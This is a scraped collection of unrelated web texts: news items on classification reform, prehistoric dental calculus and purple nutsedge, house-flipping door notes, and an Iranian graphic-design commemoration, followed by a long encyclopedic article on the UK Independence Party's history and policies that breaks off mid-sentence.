skewed by self-interest.” A better approach might be to have Army officials look at Navy decisions, for example, or Pentagon officials look at what the CIA is classifying, or vice versa, Aftergood says. Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy “They are just going to bring a different set of interests and concerns and perspectives, to improve the quality,” he says. Their task should also come with marching orders, he adds: “To reduce the number of classified documents to the minimum possible, and then let them [the analysts] loose.” |
Cyperus rotundus, commonly known as purple nutsedge or nutgrass, is considered one of the world’s worst invasive weeds. But new research suggests that prehistoric humans in what is now central Sudan may have gotten an unusual benefit from it. Stephen Buckley, an archaeological chemist from the University of York in England, analyzed dental calculus — a form of hardened plaque — in fossilized teeth from people who lived thousands of years ago, in the pre-Mesolithic, Neolithic, and Meroitic periods. In a paper published in the journal PLOS One, Dr. Buckley and his colleagues report that the teeth had remarkably few cavities and high levels of the chemical compounds found in purple nutsedge, suggesting that the plant may have protected against tooth decay. How might these early humans have used the plant? “They were eating the tubers, that is, the underground storage organ,” said the senior author of the study, Karen Hardy, of the Autonomous University of Barcelona in Spain. “The purple nutsedge stores its energy and carbohydrates in these underground organs. The main usage by the prehistoric people most surely would have been food.” |
A letter like this was left at the door of Fred Shore. (CBC) When Fred Shore saw the handwritten note left on his door his first thought was, "it's kind of amateurish." The block lettering didn't work on him and a closer look showed the letter was not handwritten at all, but a photocopy. Shore's reaction? "I sent it to the recycling bin," he said. The note's pitch was pretty simple, it read: "My name is Jeff and my partners [sic] name is Amy. We noticed your property are you selling? For a fast close, a cash offer, and a fair price. Give us a call." "It's kind of peculiar. If you're actually going to buy houses you'd have enough money to buy a pamphlet," said Shore. "Just all sorts of flags went off, bells and whistles." Fred Shore said a letter left in his mailbox asking to buy his house set off red flags. (CBC) He said he worried calling the number might "get me involved in some weird selling process where I never get my money." Leaving letters on doorsteps can be an effective way of reaching homeowners willing to sell their properties in the private market, said contractor and real estate investor, Brett Schreyer. Schreyer himself said he uses the tactic to stir up potential sellers — he renovates properties and resells them for a profit. "I just get creative and try and find ways that I can help the homeowner and maybe find a fixer-upper project," said Schreyer. "What we do is we help the homeowner …. We don't need property disclosure statements we buy homes as is." Schreyer said house flipping works for all the parties involved. He makes money off the resale and an owner can offload a property they can't afford to fix up. He said he doesn't try to target people who may need fast cash but otherwise, have homes in good condition. Brett Schreyer said he leaves notes asking if owners are looking to sell their homes as part of his house-flipping business. (CBC) "It's not a scam. Call the number, have a conversation, see if there's some way we could work something out," Schreyer said. The Manitoba Securities Commission (real estate division) says it's aware of tactics like those used by house flippers. It encourages homeowners to consult a professional, like a realtor or a lawyer before selling their homes. |
In honor of late Iranian graphic designer Morteza Momayez the Iranian Artist’s Forum in Tehran organized a series of events which included a commemoration ceremony, an exhibition of his work and an exhibit and workshop presented by the event’s special guest, French graphic designer Michel Bouvet. The commemoration ceremony took place in the Ostad Shahnaz Hall at the Iranian House of Artists and it was followed by the opening of an exhibition of Momayez’s work. Michel Bouvet also displayed his work at the Iranian House of Artists and presented a workshop on poster design. About Morteza Momayez Morteza Momayez was an Iranian graphic designer, born on August 26, 1935 in Tehran, Iran. He got his bachelor in painting from the School of Fine Arts at University of Tehran in 1965 and his diploma from Ecole National Superier des Art Deco in Paris, France in 1968. He was Editor-in-chief of “Neshan”. Throughout his career, Momayez initiated many cultural institutes, exhibitions and graphic design publications. The renowned pioneer of graphic design in Iran, Momayez received the Art & Culture Award of Excellency from the president of Iran in 2004. About Michel Bouvet Michel Bouvet (born 1955 in Tunis) is a French designer and poster artist. He is professor of visual culture at ESAG Penninghen (Paris). Bouvet studied and graduated at École nationale supérieure des Beaux-Arts (ENSB-A). His design influences include Fernand Léger, Raymond Savignac, André François and Roman Cieslewicz. His posters are very often the result of a mixture of techniques (photography, collage, sculpture, painting), which gives them a highly poetic graphic dimension. Bouvet has won many national and international design awards in Poland, Finland, Japan, China and Czech Republic. Since 2002, he designs the corporate identity for the Rencontres d’Arles. He has been the curator of several international graphic design exhibitions. Sources: Tavoos Online, Wikipedia | Morteza Momayez, Honar Online 1, Honar Online 2, Wikipedia | Michel Bouvet |
British political party "UKIP" redirects here. For other uses, see UKIP (disambiguation) The UK Independence Party (UKIP ) is a hard Eurosceptic, right-wing political party in the United Kingdom. It currently has one representative in the House of Lords and seven Members of the European Parliament (MEPs). It has four Assembly Members (AMs) in the National Assembly for Wales and one member in the London Assembly. The party reached its greatest level of success in the mid-2010s, when it gained two Members of Parliament and was the largest UK party in the European Parliament. UKIP originated as the Anti-Federalist League, a single-issue Eurosceptic party established in London by the historian Alan Sked in 1991. It was renamed UKIP in 1993 but its growth remained slow. It was largely eclipsed by the Eurosceptic Referendum Party until the latter's 1997 dissolution. In 1997, Sked was ousted by a faction led by Nigel Farage, who became the party's preeminent figure. In 2006, Farage officially became leader and under his direction the party adopted a wider policy platform and capitalised on concerns about rising immigration, in particular among the White British working class. This resulted in significant breakthroughs at the 2013 local elections, 2014 European elections, and 2015 general election. The pressure UKIP exerted on the government was the main reason for the 2016 referendum which led to the UK's commitment to withdraw from the European Union. Farage then stepped down as UKIP leader, and the party's vote share and membership heavily declined. Following repeat leadership crises, Gerard Batten took over. Under Batten, UKIP was characterised as moving into far-right territory, at which point many longstanding members–including Farage–left. Farage then launched the Brexit Party. Ideologically positioned on the right-wing of British politics, UKIP is characterised by political scientists as part of a broader European radical right. UKIP's primary emphasis has been on Euroscepticism, calling for the United Kingdom's exit from the European Union (EU). It promotes a British unionist and British nationalist agenda, encouraging a unitary British identity in opposition to growing Welsh and Scottish nationalisms. Political scientists have argued that in doing so, it conflates Britishness with Englishness and appeals to English nationalist sentiment. UKIP has also placed emphasis on lowering immigration, rejecting multiculturalism, and opposing what it calls the "Islamification" of Britain. Influenced by Thatcherism and classical liberalism, it describes itself as economically libertarian and promotes liberal economic policies. On social issues like LGBT rights, education policy, and criminal justice it is conservative. Having an ideological heritage stemming from the right-wing of the Conservative Party, it distinguishes itself from the mainstream political establishment through heavy use of populist rhetoric, including describing its supporters as the "People's Army". Governed by its leader and National Executive Committee, UKIP is divided into twelve regional groups. A founding member of the Alliance for Direct Democracy in Europe European political party, most of UKIP's MEPs sit with the Europe of Freedom and Direct Democracy group in the European Parliament. While gaining electoral support from various sectors of British society, psephologists have established that its primary voting base is in England and consists largely of older, working-class white Britons. UKIP has faced a critical reception from mainstream political parties, much of the media, and anti-fascist groups. Its discourse on immigration and cultural identity generated accusations of racism and xenophobia, both of which it denies. History Foundation and early years: 1991–2004 UKIP was founded to campaign for the UK's withdrawal from the EU (flag pictured) UKIP began as the Anti-Federalist League, a Eurosceptic political party established in 1991 by the historian Alan Sked. The League opposed the recently signed Maastricht Treaty and sought to sway the governing Conservative Party toward removing the United Kingdom from the European Union (EU). A former Liberal Party candidate, member of the Bruges Group, and professor at the London School of Economics (LSE), Sked had converted to Euroscepticism while teaching the LSE's European Studies programme. Under the Anti-Federalist League's banner, Sked was a candidate for Member of Parliament (MP) for Bath at the 1992 general election, gaining 0.2% of the vote. At a League meeting held in the LSE on 3 September 1993, the group was renamed the UK Independence Party, deliberately avoiding the term "British" so as to avoid confusion with the far-right British National Party (BNP).[14] UKIP contested the 1994 European Parliament election with little financing and much infighting, securing itself as the fifth largest party in that election with 1% of the vote. During this period, UKIP was viewed as a typical single-issue party by commentators, some of whom drew comparisons with the French Poujadist movement. Following the election, UKIP lost much support to the Referendum Party; founded by the multi-millionaire James Goldsmith in 1994, it shared UKIP's Eurosceptic approach but was far better funded. In the 1997 general election, UKIP fielded 194 candidates and secured 0.3% of the national vote; only one of its candidates, Nigel Farage in Salisbury, secured over 5% of the vote and had his deposit returned. UKIP was beaten by the Referendum Party in 163 of the 165 seats in which they stood against each other. The Referendum Party disbanded following Goldsmith's death later that year and many of its candidates joined UKIP. After the election, Sked was pressured into resigning by a party faction led by Farage, David Lott and Michael Holmes, who deemed him too intellectual and dictatorial. Sked left the party, alleging that it had been infiltrated by racist and far-right elements, including BNP spies.[22] This connection was emphasised in the press, particularly when Farage was photographed meeting with BNP activists. Holmes took over as party leader, and in the 1999 European Parliament elections—the first UK election for the European Parliament to use proportional representation—UKIP received 6.5% of the vote and three seats, in South East England (Farage), South West England (Holmes), and the East of England (Jeffrey Titford). An internal power struggle ensued between Holmes and the party's National Executive Committee (NEC), which was critical of Holmes after he called for the European Parliament to have greater powers over the European Commission. Led by Farage, the NEC removed Holmes from power, and Titford was elected leader.[25] In the 2001 general election, UKIP secured 1.5% of the vote, and six of its 428 candidates retained their deposits. It had lost much of its support to the Conservatives, whose leader William Hague had adopted increasingly Eurosceptic rhetoric during his campaign. In 2002, the former Conservative MP Roger Knapman was elected UKIP leader, bringing with him the experience of mainstream politics that the party had lacked. Knapman hired the political campaign consultant Dick Morris to advise UKIP. The party adopted the slogan "say no" and launched a national billboard campaign. In 2004, UKIP reorganised itself nationally as a private company limited by guarantee. Growing visibility: 2004–2014 Nigel Farage , leader of the party from 2006 to 2009 and again from 2010 to 2016, and MEP since 1999 UKIP's support increased during the 2004 European Parliament elections, when it placed third, securing 2.6 million votes (16.1%) and winning twelve seats. This had been made possible through increased funding from major donors and the celebrity endorsement of chat show host Robert Kilroy-Silk, who stood as a candidate in the East Midlands. Kilroy-Silk then criticised Knapman's leadership, arguing that UKIP should stand against Conservative candidates, regardless of whether they were Eurosceptic or not. This position was rejected by many party members, who were uneasy regarding Kilroy-Silk. After Farage and Lott backed Knapman, Kilroy-Silk left the party in January 2005.[32] Two weeks later, he founded his own rival, Veritas, taking a number of UKIP members—including both of its London Assembly members—with him. After Kilroy-Silk's defection, UKIP's membership declined by a third and donations dropped by over a half. UKIP continued to be widely seen as a single-issue party and in the 2005 general election—when it fielded 496 candidates—it secured only 2.2% of the vote, and 40 candidates had their deposits returned. Electoral support for the BNP grew during this period, with academics and political commentators suggesting that the parties were largely competing for the same voter base, a section of about 20% of the UK population. Given that the BNP had outperformed UKIP in most of the seats that they both contested, many UKIP members, including several figures on the NEC, favoured an electoral pact with them, a proposal that Farage strongly condemned. In 2006, Farage was elected leader. To attract support, he cultivated an image of himself as a "man of the people", openly smoking and drinking, showing disdain for the established parties, and speaking in an open manner that appeared unscripted. He sought to broaden UKIP's image from that of a single-issue party by introducing an array of socially conservative policies, including reducing immigration, tax cuts, restoring grammar schools, and climate change denial. In doing so he was attempting to attract disenfranchised former Conservatives who had left the party after its leader, David Cameron, had moved in a socially liberal direction. According to Farage, Cameron was "a socialist" whose priorities were "gay marriage, foreign aid, and wind farms". Cameron was highly critical of UKIP, referring to them as "fruitcakes, loonies, and closet racists". The Conservatives' largest donor, Stuart Wheeler, donated £100,000 to UKIP after criticising Cameron's stance towards the Treaty of Lisbon and the EU.[44] After trust in the mainstream parties was damaged by the UK parliamentary expenses scandal, UKIP received an immediate surge in support. This helped it in the 2009 European Parliament election, in which it secured 2.5 million votes (16.5%), resulting in 13 MEPs, becoming the second largest party in the European Parliament after the Conservatives.[47] During the election, UKIP outperformed the BNP, whose electoral support base collapsed shortly after. Malcolm Pearson led the party in 2009 In September 2009, Farage resigned as leader.[50] The subsequent leadership election was won by Malcolm Pearson, who emphasised UKIP's opposition to high immigration rates and Islamism in Britain, calling for a ban on the burqa being worn in public.[52] Pearson was unpopular with the UKIP grassroots, who viewed him as an establishment figure too favourable to the Conservatives. In the 2010 general election, UKIP fielded 558 candidates and secured 3.1% of the vote (919,471 votes), but won no seats.[56] Pearson stood down as leader in August, and Farage was re-elected in the leadership election with more than 60% of the vote.[58][60] Farage placed new emphasis on developing areas of local support through growth in local councils. Observing that the party had done well in areas dominated by white blue-collar workers with no educational attainment, and that conversely it had done poorly in areas with high numbers of graduates and ethnic minorities, UKIP's campaign refocused directly at the former target vote. UKIP support would be bolstered by dissatisfaction with the Conservative-Liberal Democrat coalition government and the perception that its austerity policies benefited the socio-economic elite while imposing hardship on ordinary Britons. During this year, UKIP had witnessed far greater press coverage and growing support, with opinion polls placing it at around 10% support in late 2012. UKIP put up a record number of candidates for the 2013 local elections, achieving its strongest local government result, polling an average of 23% in the wards where it stood, and increasing its number of elected councillors from 4 to 147.[65][67] This was the best result for a party outside the big three in British politics since the Second World War,[68] with UKIP being described as "the most popular political insurgency" in Britain since the Social Democratic Party during the 1980s. Entering mainstream politics: 2014–16 Results of the European Parliament election, 2014 in Great Britain. Districts where UKIP received the largest number of votes are shown in purple. In March 2014, Ofcom awarded UKIP "major party status". In the 2014 local elections, UKIP won 163 seats, an increase of 128, but did not take control of any council.[71] In the 2014 European Parliament elections, UKIP received the greatest number of votes (27.5%) of any British party, producing 24 MEPs.[72] The party won seats in every region of Britain, including its first in Scotland.[74] It made strong gains in traditionally Labour voting areas within Wales and the North of England; it for instance came either first or second in all 72 council areas of the latter. The victory established Farage and UKIP as "truly household names". It was the first time since 1906 that a party other than Labour or the Conservatives had won the most votes in a UK-wide election. UKIP's Jeremy Corbyn security risk poster for the 2015 Oldham West and Royton by-election UKIP gained its first MP when Conservative defector Douglas Carswell won the seat of Clacton during a October 2014 by-election.[79] In November fellow Conservative defector Mark Reckless became UKIP's second MP in a Rochester and Strood by-election.[81] In the 2015 general election, UKIP secured over 3.8 million votes (12.6% of the total), replacing the Liberal Democrats as the third most popular party, but only secured one seat, with Carswell retaining his seat and Reckless losing his.[84] In the run-up to the election, Farage stated that he would resign as party leader if he did not win South Thanet.[86] On failing to do so, he resigned,[88] although was reinstated three days later when the NEC rejected his resignation.[90] A period of 'civil war' broke out among senior membership between those who favoured Farage's leadership and those seeking a change. In the 2015 Oldham West and Royton by-election the party attacked Jeremy Corbyn as a security risk, but only gained a small increase in support at the expense of the Conservative Party. In the 2016 National Assembly for Wales election, UKIP nearly tripled their share of votes (from 4.7 per cent to 12.5 per cent) and won seven seats.[92] To counter the loss of further votes to UKIP, the governing Conservatives promised a referendum on the UK's continued membership of the EU. Rather than taking part in the official Vote Leave campaign, to which various Eurosceptic Conservative and Labour politicians were linked, UKIP affiliated itself with the Leave.EU campaign group. Farage gained regular press coverage during the campaign, in which Leave.EU emphasised what it characterised as the negative impact of immigration on local communities and public services. The June 2016 referendum produced a 51.89% majority in favour of leaving the EU: the accomplishment of UKIP's raison d'être raised questions about the party's future. The loss of its MEPs would result in the loss of its primary institutional representation and a key source of its funding. Decline: 2016–present After the referendum, Farage resigned as UKIP leader.[97] Diane James was elected as his successor, but resigned after 18 days and left the party in November 2016.[98] Farage's former deputy, Paul Nuttall, was elected leader that month.[99] In March 2017, the party's only MP, Carswell, left the party to sit as an independent.[100] The next month, Reckless also left UKIP.[101] In the 2017 local elections, UKIP lost all 145 seats it was defending, but gained one on Lancashire County Council.[102] These results led several prominent former UKIP members to call for the party to be disbanded.[103] In the following 2017 general election, UKIP received fewer than 600,000 votes and won no seats. The following day, Nuttall resigned and Steve Crowther took over as interim party leader.[104] The UKIP logo, used briefly by the party from 2017 to 2018 On 24 July 2017, UKIP lost its majority on Thanet council when Councillor Beverly Martin defected to the Conservatives, citing personal disagreements with the party's policies in the region.[105] On 10 September, it was announced that all three UKIP councillors on Plymouth council had changed party to the Conservatives.[106] At the 2017 convention, Henry Bolton, a former soldier, was elected as leader.[107] Two of the leadership candidates beaten by Bolton left the party: fourth place John Rees-Evans announced plans to found a new political party, called Affinity, while second place Anne-Marie Waters set up a new political party, called For Britain.[108] In January 2018, it became known that Bolton had left his wife and embarked on a relationship with Jo Marney, a model and party member nearly 30 years his junior. As a consequence Bolton faced demands from members of UKIP that he stand down as leader. On 14 January it was reported that Marney had been suspended from UKIP following allegations that she had sent a series of SMS messages containing racist comments about Prince Harry's fiancée, Meghan Markle. On 19 January 2018, Jonathan Arnott resigned from the party, continuing to sit as an independent MEP.[109] In his resignation letter, he said that he had lost confidence in Bolton, who he felt was "not the right person for the job", but thought no better of those "jockeying for position" in the party.[110] On 21 January, UKIP's National Executive Committee (NEC) delivered a vote of no confidence in Bolton; only Bolton voted against the motion.[111] Bolton had made it clear earlier that day that he would not resign if the vote went against him, because he felt another leadership election would destroy the party. Consequently, at the emergency meeting of UKIP's NEC, it was decided that party members would be balloted on whether Bolton should be removed from office, as the NEC does not have the power to dismiss the leader.[111] The following day, Margot Parker resigned as deputy leader, claiming Bolton had left the party in "limbo".[112] Bolton's assistant deputy, as well as the spokesmen for government, education, immigration, and trade and industry resigned on the same day, bringing the total number of resignations to twelve.[113] A few days later on 27 January, all seventeen UKIP members of Thurrock Council left the party, saying they had "had enough of the aggressive and bitter reality of party politics", and formed Thurrock Independents.[114] On 17 February, UKIP members passed a vote of no confidence in Bolton and he was dismissed as leader. The same day, he was replaced as leader on an interim basis by Gerard Batten until a new leadership election could be held.[115] Batten stood unopposed and his election as permanent UKIP leader was announced on 14 April 2018.[116] Batten and embrace of the far-right Under Batten's leadership, UKIP moved towards a far-right stance In the 2018 local elections, UKIP lost 124 of the 126 seats it was defending, and gained a single seat in Derby for a net loss 123.[117] MEP James Carver left UKIP to sit as an independent on 28 May 2018, becoming the sixth member of UKIP's MEP contingent to leave the party since 2014.[118] Under the leadership of Henry Bolton, party membership was understood to have slumped to around 18,000 by January 2018.[119] During Batten's interim leadership term, the party avoided insolvency after a financial appeal to members.[120] As the new permanent leader, Batten focused the party more on opposing Islam and sought closer relations with the far-right activist Tommy Robinson and his followers.[121] The party saw its membership rise by 15% in July 2018, following the publication of the Chequers Agreement and allowing three prominent far-right activists to join the party.[122] Previous leader Nigel Farage stated he was "really upset" that Robinson could be allowed into the party and that he believed Gerard Batten was marginalising the party.[123] Batten's appointment of Robinson as an advisor was followed by a wave of high-profile resignations from the party. Farage announced his decision to resign in December 2018, calling Batten "obsessed" with Islam and saying that "UKIP wasn't founded to be a party based on fighting a religious crusade"[124] Former Deputy Chair Suzanne Evans had left earlier that week after Batten survived a vote of confidence from the party NEC.[125] The former leader of the party in the Welsh Assembly, Caroline Jones, and the MEP William Dartmouth had also cited the party's trajectory to the right as reasons for leaving the party.[126] Another former leader, Paul Nuttall, also left for the same reason.[127] By December 2018, a majority of the party's MEPs had left. Others leaving included Peter Whittle, the party's top vote-winner on the London Assembly. On 9 December 2018, before an important vote on Brexit legislation, UKIP led a "Brexit Betrayal" rally in central London fronted by Robinson, alongside other prominent far-right groups.[128] Farage and six other ex-UKIP MEPs joined the Brexit Party in February 2019. This meant UKIP and the Brexit Party had equal numbers of MEPs. Ideology and policies Right-wing populism UKIP is situated on the right wing of the left–right political spectrum. More specifically, academic political scientists and political commentators have described UKIP as a right-wing populist party, and as part of Europe's wider radical right. The term "populism" refers to political groups which ideologically contrast "the people" against an elite or group of "dangerous others" whom the populists claim threaten the sovereignty of "the people", and during its establishment in 1993, UKIP's founders explicitly described it as a populist party. At the time, its "ideological heritage" lay within the right-wing of the Conservative Party, and UKIP was influenced by the "Tory populism" of Conservative politicians Margaret Thatcher and Enoch Powell. The party's growth is part of a wider rise in the prominence of right-wing populist groups across the Western world, and comparisons have been drawn between UKIP and the likes of the Tea Party movement in the United States and the True Finns in Finland. Central to its populism is its defence of democracy and its claim to represent the true democratic will of the British people. Farage at the 2009 UKIP Conference The political scientists Amir Abedi and Thomas Carl Lundberg characterised UKIP as an "Anti-Political Establishment" party. The party's rhetoric presents the idea that there is a fundamental divide between the British population and the elite who govern the country. UKIP claims to stand up for ordinary people against this political elite. UKIP politician Bill Etheridge for instance claimed that his party represented "a democratic revolution... the people of Britain rising up and fighting to wrestle power from the elite". Contributing to this anti-establishment message, Farage describes the party's supporters as "the People's Army", and he regularly held photo-opportunities and journalistic interviews in a pub, thus cultivating an "erudite everyman" image that contrasted with his past as a merchant banker. UKIP uses recurring populist rhetoric—for instance by describing its policies as "common sense" and "straight talking"—in order to present itself as a straightforward alternative to the mainstream parties and their supposedly elusive and complex discourse. UKIP presents the UK's three primary parties—the Conservatives, Labour, and Liberal Democrats—as being essentially interchangeable, referring to them with the portmanteau of "LibLabCon". Farage accused all three parties of being social-democratic in ideology and "virtually indistinguishable from one another on nearly all the key issues". Farage has also accused the Scottish National Party of being "the voice of anti-Englishness", suggesting that elements of the Scottish nationalist movement are "deeply racist, with a total hatred of the English". Nationalism and British unionism UKIP espouses a form of British nationalism; it states that it is a "civic" rather than an "ethnic" nationalism, although this categorisation has been disputed by political scientists As the party's name suggests, UKIP has always had the politics of national identity at its core. The party is nationalist in orientation, and its "basic claim—that the highest priority for the British polity is to assure that it is fully governed by the national state—is a nationalist one." The party describes its position as being that of civic nationalism, and in its manifesto explicitly rejects ethnic nationalism by encouraging support from Britons of all ethnicities and religions. Rejecting claims that it is racist, both Sked and later Farage have described UKIP as a "non-racist, non-sectarian party". In UKIP's literature, the party has placed an emphasis on "restoring Britishness" and counteracting what it sees as a "serious existential crisis" exhibited by the "Islamification" of Britain, the "pseudo-nationalisms" of Wales, Scotland, and Ireland, and the multicultural and supranational policies promoted by "the cultural left", describing its own stance as being "unashamedly unicultural". It has been suggested that this attitude compromises the party's claim that its form of British nationalism is civic and inclusive. UKIP considers itself to be a British unionist party, although its support base is centred largely in England. Farage has characterised his party's growth as "a very English rebellion", and has described UKIP as "unashamedly patriotic, proud to be who we are as a nation". The political scientist Richard Hayton argued that UKIP's British unionism reflects "Anglo-Britishness", a perspective that blurs the distinction between Britain and England. With Mycock, Hayton argued that in conflating Englishness with Britishness, UKIP exhibited an "inherent Anglocentrism" that negates the distinct culture of the Scottish, Welsh, and Northern Irish peoples of the United Kingdom. Hayton suggests that UKIP tap into "a vein of nostalgic cultural nationalism" within England, and it has been noted that UKIP's discourse frames the image of Englishness in a nostalgic manner, harking back to the years before the collapse of the British Empire. UKIP has emphasised the need to correct what it perceives as the United Kingdom's imbalance against England resulting from the "West Lothian question" and the Barnett formula. The party has mobilised English nationalist sentiment brought on by English concerns following the devolution within the UK and the rise of Welsh and Scottish nationalisms. The party initially opposed federalism in the UK, criticising the establishment of the Welsh Assembly and Scottish Parliament. However, in September 2011 Farage and the NEC announced their support for the establishment of an English Parliament to accompany the other devolved governments. In its 2015 manifesto, it promised to make St. George's Day and St. David's Day bank holidays in England and Wales, respectively. Similarly, UKIP's 2017 manifesto pledged to declare 23 June British Independence Day and observe it annually as a national holiday.[157] Euroscepticism, immigration and foreign policy UKIP embraces the ideology of hard Euroscepticism, also known as "Eurorejectionism". Opposition to the United Kingdom's continued membership of the European Union has been its "core issue" and is "central to the party's identity". UKIP characterises the EU as a fundamentally undemocratic institution and stresses the need to regain what it describes as the UK's national sovereignty from the EU. It presents the EU as being an exemplar of non-accountability, corruption, and inefficiency, and views it as being responsible for the "flooding" of the UK with migrants, in particular from Eastern Europe. UKIP emphasises Euroscepticism to a far greater extent than any of Western Europe's other main radical right parties, and it was only post-2010 that it began seriously articulating other issues. Hayton nevertheless suggested that Euroscepticism still remains "the lens through which most of its other policy positions are framed and understood". UKIP placard on the side of the road in Starcross , Devon, declaring: "Say NO to European Union" The party opposed the 2004 enlargement of the European Union into eastern Europe. UKIP advocated leaving the European Union, stopping payments to the EU, and withdrawing from EU treaties, while maintaining trading ties with other European countries.[166] Initially, UKIP's policy was that, in the event of them winning a general election, it would remove the UK from the EU without a referendum on the issue. The party leadership later suggested a referendum, expressing the view that in the case of an exit vote, it could negotiate favourable terms for the country's withdrawal, for instance through ensuring a free trade agreement between the UK and EU.[168] UKIP eventually committed to a referendum in their 2015 manifesto. In contrast to involvement in the EU, UKIP has emphasised the UK's global connections, in particularly to member states of the Commonwealth of Nations. UKIP rejected the description that they were "Europhobes", maintaining that its stance was anti-EU, not anti-European. UKIP has placed great emphasis on the issue of immigration to the UK, and in 2013 Farage described it as "the biggest single issue facing this party". UKIP attributes UK membership of the EU as the core cause of immigration to the UK, citing the Union's open-border policies as the reason why large numbers of East European migrants have moved to Britain. On their campaign billboards, UKIP have presented EU migrants as a source of crime, as well as a pressure on housing, the welfare state, and the health service. Farage has emphasised not only the economic impact of migration but also the public anxieties regarding the cultural changes brought by immigration. In its 2009 electoral manifesto, UKIP proposed a five-year ban on any migrants coming to the UK. By 2015, it had modified this to the view that the five-year ban should apply only to unskilled migrants. To regulate the arrival of skilled migrants, it called for the UK to adopt a points-based system akin to that employed by Australia. It advocated the establishment of a watchdog to help curb immigration, and bring the levels of net annual immigration down from the hundreds of thousands to between 20,000 and 50,000, which was the average level in the UK between 1950 and 2000. UKIP calls for all immigrants to require compulsory health insurance, and proposes that migrants be barred from claiming any state benefits until they had been resident in the UK for at least five years. UKIP poster in Exeter in 2009: "Say NO to Unlimited Immigration" UKIP gained traction from the fact that post-2008, immigration had come to the forefront of many Britons' minds as a result of increased EU migration and its concomitant social changes. By the 2015 general election, the political scientists James Dennison and Matthew Goodwin argued, UKIP had secured "ownership" of the immigration issue among British voters, having secured it from the Conservatives. However, the party's campaign against immigration has been accused of using racism and xenophobia to win votes. Political scientist David Art suggested that in its campaign to restrict immigration, UKIP had "flirted with xenophobia", while Daniel T. Dye stated that part of the party's appeal was its "sometimes-xenophobic populism", and the journalist Daniel Trilling stated that UKIP tapped into the "anti-immigrant and anti-Muslim populism" that was popular in the late 2000s. The political scientist Simon Usherwood stated that UKIP's hardening of immigration policy "risked reinforcing the party's profile as a quasi-far-right grouping", elsewhere stating that the party was only held together by its opposition to the EU and immigration, suggesting that it had "no ideological coherence" beyond that. In its 2015 campaign, UKIP called for the foreign aid budget to be cut. It has also advocated a 40% increase in the UK's national defence budget. It opposes UK military involvement in conflicts that are not perceived to be in the national interest, specifically rejecting the concept of humanitarian interventionism. For instance, in 2014 it opposed the Cameron government's plans to intervene militarily against the government of Bashar al-Assad in the Syrian civil war. In 2018, UKIP pledged to work with anti-EU populist group The Movement.[185] Economic policy "So what kind of party is UKIP? Ideologically, the party combines a mix of old-style liberal commitments to free markets, limited government and individual freedom with conservative appeals to national sovereignty and traditional social values." — Political scientist Stephen Driver, 2011 On economic policy, UKIP shares the main three parties' acceptance of the core principles of a capitalist market economy, and the party is generally at ease with the global free market. The academics Simon Winlow, Steve Hall, and James Treadwell commented that on economic issues, "UKIP wants to have its cake and eat it. It wants to retain the best bits of the market economy while discarding what it considers the negative outcomes of 21st-century neoliberalism." They noted for instance that it wanted "free movement of capital" yet wanted to curtail "the free movement of workers across borders". On economic issues, UKIP's original activist base was largely libertarian, supporting an economically liberal approach. Its libertarian views have been influenced by classical liberalism and Thatcherism, with Thatcher representing a key influence on UKIP's thought. Farage has characterised UKIP as "the true inheritors" of Thatcher, claiming that the party never would have formed had Thatcher remained Prime Minister of the UK throughout the 1990s. Winlow, Hall, and Treadwell suggested that a UKIP government would pursue "hard-core Thatcherism" on economic policy. UKIP presents itself as a libertarian party, and the political scientists David Deacon and Dominic Wring described it as articulating "a potent brand of libertarian populism". However, commentators writing in The Spectator, The Independent, and the New Statesman have all challenged the description of UKIP as libertarian, highlighting its socially conservative and economically protectionist policies as being contrary to a libertarian ethos.[195] UKIP propose an increase in the personal allowance to the level of full-time minimum wage earnings (approx. £13,500 as of the 2015 General Election). It also plans to abolish Inheritance Tax.[196] It would introduce a 35p income tax rate for taxable income between £42,285 and £55,000, with the 40p rate payable above that.[197] UKIP would allow businesses to favour British workers over migrants,[198] and would repeal "much of" Britain's racial discrimination law, which was described as "shocking" by the Conservative–Liberal Democrat coalition government[199] and viewed as discriminatory by others.[200] However, Farage insists that his comments regarding his party's policies on these matters have been "wilfully misinterpreted".[198] Although the party does not have an official stance on the Transatlantic Trade and Investment Partnership, the party's former international trade spokesperson (Lord Dartmouth) and former health and social care spokesperson (Louise Bours) have stated that they do not wish the National Health Service to be included in the trade deal, according to the International Business Times.[201] Social policy On health, UKIP's policy is to keep the National Health Service and general practitioner visits free at the point of use for UK citizens.[203] Non-citizens would be required to have approved medical insurance "as a condition of entering the UK".[204] In 2015, Farage attracted widespread press attention for suggesting that HIV positive patients who were not UK citizens should not receive treatment on the NHS. In that same speech he stated that the UK should put the NHS "there for British people and families, who in many cases have paid into the system for years". Farage has spoken in favour of an insurance-based system in the past, which he said would resemble the French and Dutch style system rather than an American style private system, but this was rejected by the party. He has commented, "we may have to think about ways in the future about dealing with health care differently".[206] Critics of UKIP have claimed that the party's real desire is to dismantle and privatise the NHS, a claim bolstered by the publication of leaked documents showing that in 2013 the UKIP NEC privately spoke positively of NHS privatisation. In The Guardian, commentator Ed Rooksby described UKIP's approach to many social issues as being "traditionalist and socially conservative",[208] while political scientist Stephen Driver has referred to the party's appeals to "traditional social values". UKIP opposed the introduction of same-sex marriage in the United Kingdom. UKIP wants to repeal the Human Rights Act, and remove Britain from both the European Convention on Refugees and the European Convention on Human Rights (ECHR).[212] On the repeal of Britain's signatory to the ECHR, UKIP would like to see a referendum on the reintroduction of the death penalty in the UK. Although Farage had long been reticent about focusing on public anxieties surrounding Muslims in Britain, he spoke out following the Charlie Hebdo shooting, claiming that there was a "fifth column" of Islamists in the UK who—while "mercifully small" in number—were "out to destroy our whole civilisation". At the same time he called for Western states to do more to promote their Judeo-Christian heritage, and criticised state multiculturalism for promoting social segregation, discouraging integration, and generating a "tick-box approach" to identity politics. In its 2017 manifesto, UKIP pledged to abolish the existence of sharia courts in the UK and ban the wearing of the niqab and burka in public; it claimed that these were needed to promote the integration of Muslims with wider British society.[215] UKIP is the only major political party in the United Kingdom that does not endorse renewable energy and lower carbon emissions, and its media output regularly promotes climate change denial. Farage and other senior UKIP figures have repeatedly spoken out against the construction of wind farms, deeming them a blot on the rural landscape. UKIP's media present renewable energy as inefficient and unaffordable, and they promote the use of fossil fuels, nuclear energy and fracking. UKIP has announced that it would repeal the Climate Change Act 2008 and has placed an emphasis on protecting the Green Belt.[220] UKIP poster in Egham , Surrey, for the 2009 European elections With regard to education policy, UKIP supports selective education through the creation of additional grammar schools. In its 2015 manifesto, UKIP promised to teach a chronological understanding of "British history and achievements" in schools, and it calls for the scrapping of sex education for children under 11.[221] UKIP would introduce an option for students to take an apprenticeship qualification instead 